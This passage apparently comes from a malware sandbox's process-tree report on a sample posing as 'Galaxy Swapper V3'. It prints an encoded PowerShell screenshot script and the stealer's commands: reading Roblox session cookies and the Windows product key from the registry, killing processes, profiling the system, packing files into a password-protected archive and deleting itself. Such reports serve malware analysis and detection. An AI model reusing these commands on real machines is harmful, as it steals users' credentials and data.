AIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                                                              4⤵
                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                              PID:5956
                                                                              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                                                                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\4uwuzyfi\4uwuzyfi.cmdline"
                                                                                5⤵
                                                                                  PID:5204
                                                                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                                                                    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES40DC.tmp" "c:\Users\Admin\AppData\Local\Temp\4uwuzyfi\CSC6679F9B0B34A4AC3B578D1D7FBDC3B41.TMP"
                                                                                    6⤵
                                                                                      PID:3348
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                3⤵
                                                                                  PID:5472
                                                                                  • C:\Windows\system32\tree.com
                                                                                    tree /A /F
                                                                                    4⤵
                                                                                      PID:2104
                                                                                  • C:\Windows\system32\cmd.exe
                                                                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                    3⤵
                                                                                      PID:5288
                                                                                      • C:\Windows\system32\tree.com
                                                                                        tree /A /F
                                                                                        4⤵
                                                                                          PID:5612
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                                                                        3⤵
                                                                                          PID:5224
                                                                                          • C:\Windows\system32\attrib.exe
                                                                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                                                                            4⤵
                                                                                            • Drops file in Drivers directory
                                                                                            • Views/modifies file attributes
                                                                                            PID:5180
                                                                                        • C:\Windows\system32\cmd.exe
                                                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                          3⤵
                                                                                            PID:5524
                                                                                            • C:\Windows\system32\tree.com
                                                                                              tree /A /F
                                                                                              4⤵
                                                                                                PID:5604
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                                                                              3⤵
                                                                                                PID:5636
                                                                                                • C:\Windows\system32\attrib.exe
                                                                                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                                                                                  4⤵
                                                                                                  • Drops file in Drivers directory
                                                                                                  • Views/modifies file attributes
                                                                                                  PID:5532
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                3⤵
                                                                                                  PID:5600
                                                                                                  • C:\Windows\system32\tree.com
                                                                                                    tree /A /F
                                                                                                    4⤵
                                                                                                      PID:5316
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                                                                    3⤵
                                                                                                      PID:5680
                                                                                                      • C:\Windows\system32\tasklist.exe
                                                                                                        tasklist /FO LIST
                                                                                                        4⤵
                                                                                                        • Enumerates processes with tasklist
                                                                                                        PID:5504
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                                                                      3⤵
                                                                                                        PID:5864
                                                                                                        • C:\Windows\System32\Conhost.exe
                                                                                                          \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                          4⤵
                                                                                                            PID:5612
                                                                                                          • C:\Windows\system32\tree.com
                                                                                                            tree /A /F
                                                                                                            4⤵
                                                                                                              PID:5828
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4480"
                                                                                                            3⤵
                                                                                                              PID:5308
                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                taskkill /F /PID 4480
                                                                                                                4⤵
                                                                                                                • Kills process with taskkill
                                                                                                                PID:5796
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4480"
                                                                                                              3⤵
                                                                                                                PID:5756
                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                  taskkill /F /PID 4480
                                                                                                                  4⤵
                                                                                                                  • Kills process with taskkill
                                                                                                                  PID:5704
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1984"
                                                                                                                3⤵
                                                                                                                  PID:5844
                                                                                                                  • C:\Windows\system32\taskkill.exe
                                                                                                                    taskkill /F /PID 1984
                                                                                                                    4⤵
                                                                                                                    • Kills process with taskkill
                                                                                                                    PID:3568
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe /c "taskkill /F /PID 1984"
                                                                                                                  3⤵
                                                                                                                    PID:5700
                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                      taskkill /F /PID 1984
                                                                                                                      4⤵
                                                                                                                      • Kills process with taskkill
                                                                                                                      PID:5848
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3836"
                                                                                                                    3⤵
                                                                                                                      PID:5488
                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                        taskkill /F /PID 3836
                                                                                                                        4⤵
                                                                                                                        • Kills process with taskkill
                                                                                                                        PID:6136
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3836"
                                                                                                                      3⤵
                                                                                                                        PID:5984
                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                          taskkill /F /PID 3836
                                                                                                                          4⤵
                                                                                                                          • Kills process with taskkill
                                                                                                                          PID:5956
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 376"
                                                                                                                        3⤵
                                                                                                                          PID:5980
                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                            taskkill /F /PID 376
                                                                                                                            4⤵
                                                                                                                            • Kills process with taskkill
                                                                                                                            PID:1776
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 376"
                                                                                                                          3⤵
                                                                                                                            PID:5968
                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                              4⤵
                                                                                                                                PID:5524
                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                taskkill /F /PID 376
                                                                                                                                4⤵
                                                                                                                                • Kills process with taskkill
                                                                                                                                PID:6116
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4100"
                                                                                                                              3⤵
                                                                                                                                PID:6060
                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                  taskkill /F /PID 4100
                                                                                                                                  4⤵
                                                                                                                                  • Kills process with taskkill
                                                                                                                                  PID:5804
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4100"
                                                                                                                                3⤵
                                                                                                                                  PID:5632
                                                                                                                                  • C:\Windows\System32\Conhost.exe
                                                                                                                                    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                    4⤵
                                                                                                                                      PID:2964
                                                                                                                                    • C:\Windows\system32\taskkill.exe
                                                                                                                                      taskkill /F /PID 4100
                                                                                                                                      4⤵
                                                                                                                                      • Kills process with taskkill
                                                                                                                                      PID:5680
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3144"
                                                                                                                                    3⤵
                                                                                                                                      PID:5136
                                                                                                                                      • C:\Windows\system32\taskkill.exe
                                                                                                                                        taskkill /F /PID 3144
                                                                                                                                        4⤵
                                                                                                                                        • Kills process with taskkill
                                                                                                                                        PID:5240
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3144"
                                                                                                                                      3⤵
                                                                                                                                        PID:5660
                                                                                                                                        • C:\Windows\system32\taskkill.exe
                                                                                                                                          taskkill /F /PID 3144
                                                                                                                                          4⤵
                                                                                                                                          • Kills process with taskkill
                                                                                                                                          PID:5204
                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2336"
                                                                                                                                        3⤵
                                                                                                                                          PID:5696
                                                                                                                                          • C:\Windows\system32\taskkill.exe
                                                                                                                                            taskkill /F /PID 2336
                                                                                                                                            4⤵
                                                                                                                                            • Kills process with taskkill
                                                                                                                                            PID:2512
                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                          C:\Windows\system32\cmd.exe /c "taskkill /F /PID 2336"
                                                                                                                                          3⤵
                                                                                                                                            PID:4644
                                                                                                                                            • C:\Windows\system32\taskkill.exe
                                                                                                                                              taskkill /F /PID 2336
                                                                                                                                              4⤵
                                                                                                                                              • Kills process with taskkill
                                                                                                                                              PID:1952
                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                            C:\Windows\system32\cmd.exe /c "taskkill /F /PID 364"
                                                                                                                                            3⤵
                                                                                                                                              PID:3332
                                                                                                                                              • C:\Windows\system32\taskkill.exe
                                                                                                                                                taskkill /F /PID 364
                                                                                                                                                4⤵
                                                                                                                                                • Kills process with taskkill
                                                                                                                                                PID:5432
                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                              C:\Windows\system32\cmd.exe /c "taskkill /F /PID 364"
                                                                                                                                              3⤵
                                                                                                                                                PID:4728
                                                                                                                                                • C:\Windows\system32\taskkill.exe
                                                                                                                                                  taskkill /F /PID 364
                                                                                                                                                  4⤵
                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                  PID:5868
                                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                3⤵
                                                                                                                                                  PID:5116
                                                                                                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                    4⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                    PID:1632
                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                                                                                                  3⤵
                                                                                                                                                    PID:5636
                                                                                                                                                    • C:\Windows\system32\getmac.exe
                                                                                                                                                      getmac
                                                                                                                                                      4⤵
                                                                                                                                                        PID:5684
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                                                                                                      3⤵
                                                                                                                                                        PID:6020
                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                          powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                                                                                                          4⤵
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          PID:5180
                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI48002\rar.exe a -r -hp"hugo" "C:\Users\Admin\AppData\Local\Temp\7sF4s.zip" *"
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1976
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\_MEI48002\rar.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\_MEI48002\rar.exe a -r -hp"hugo" "C:\Users\Admin\AppData\Local\Temp\7sF4s.zip" *
                                                                                                                                                            4⤵
                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                            PID:2336
                                                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                                                          C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                                                                                                                                          3⤵
                                                                                                                                                            PID:1604
                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                              wmic os get Caption
                                                                                                                                                              4⤵
                                                                                                                                                                PID:3408
                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                              C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2364
                                                                                                                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                  wmic computersystem get totalphysicalmemory
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:4456
                                                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                                                  C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                  3⤵
                                                                                                                                                                    PID:4672
                                                                                                                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                      wmic csproduct get uuid
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:364
                                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                                      C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
                                                                                                                                                                      3⤵
                                                                                                                                                                        PID:4192
                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
                                                                                                                                                                          4⤵
                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          PID:5112
                                                                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                                                                        C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                        3⤵
                                                                                                                                                                          PID:5176
                                                                                                                                                                          • C:\Windows\System32\Conhost.exe
                                                                                                                                                                            \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:3348
                                                                                                                                                                            • C:\Windows\System32\Wbem\WMIC.exe
                                                                                                                                                                              wmic path win32_VideoController get name
                                                                                                                                                                              4⤵
                                                                                                                                                                              • Detects videocard installed
                                                                                                                                                                              PID:5660
                                                                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                                                                            C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
                                                                                                                                                                            3⤵
                                                                                                                                                                              PID:1360
                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
                                                                                                                                                                                4⤵
                                                                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                PID:5336
                                                                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                                                                              C:\Windows\system32\cmd.exe /c "ping localhost -n 3 > NUL && del /A H /F "C:\Users\Admin\Desktop\Galaxy Swapper V3\Galaxy Swapper V3.exe""
                                                                                                                                                                              3⤵
                                                                                                                                                                              • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                              PID:5200
                                                                                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                                                                                ping localhost -n 3
                                                                                                                                                                                4⤵
                                                                                                                                                                                • System Network Configuration Discovery: Internet Connection Discovery
                                                                                                                                                                                • Runs ping.exe
                                                                                                                                                                                PID:2828
                                                                                                                                                                        • C:\Windows\system32\taskmgr.exe
                                                                                                                                                                          "C:\Windows\system32\taskmgr.exe" /4
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious behavior: GetForegroundWindowSpam
                                                                                                                                                                          • Suspicious use of FindShellTrayWindow
                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                          PID:5168
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                                                                                                          1⤵
                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                          • Suspicious use of SendNotifyMessage
                                                                                                                                                                          PID:2432
                                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ff9b439cc40,0x7ff9b439cc4c,0x7ff9b439cc58
                                                                                                                                                                            2⤵
                                                                                                                                                                              PID:4300
                                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2072,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2068 /prefetch:2
                                                                                                                                                                              2⤵
                                                                                                                                                                                PID:5872
                                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1764,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2200 /prefetch:3
                                                                                                                                                                                2⤵
                                                                                                                                                                                  PID:6084
                                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2336,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=2296 /prefetch:8
                                                                                                                                                                                  2⤵
                                                                                                                                                                                    PID:5488
                                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3196,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3208 /prefetch:1
                                                                                                                                                                                    2⤵
                                                                                                                                                                                      PID:1060
                                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3232,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3260 /prefetch:1
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:5476
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4532,i,841707544167650514,10930193838371374552,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4564 /prefetch:1
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:2864
                                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                                                                                                                        1⤵
                                                                                                                                                                                          PID:5792
                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --profile-directory=Default
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                                                          PID:976
                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x124,0x128,0x12c,0x100,0x130,0x7ff9a2b646f8,0x7ff9a2b64708,0x7ff9a2b64718
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:3320
                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2028 /prefetch:2
                                                                                                                                                                                              2⤵
                                                                                                                                                                                                PID:5576
                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2376 /prefetch:3
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:5312
                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2720 /prefetch:8
                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                    PID:5712
                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                      PID:6060
                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2016,15498307364405398624,11971497380406533585,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3416 /prefetch:1
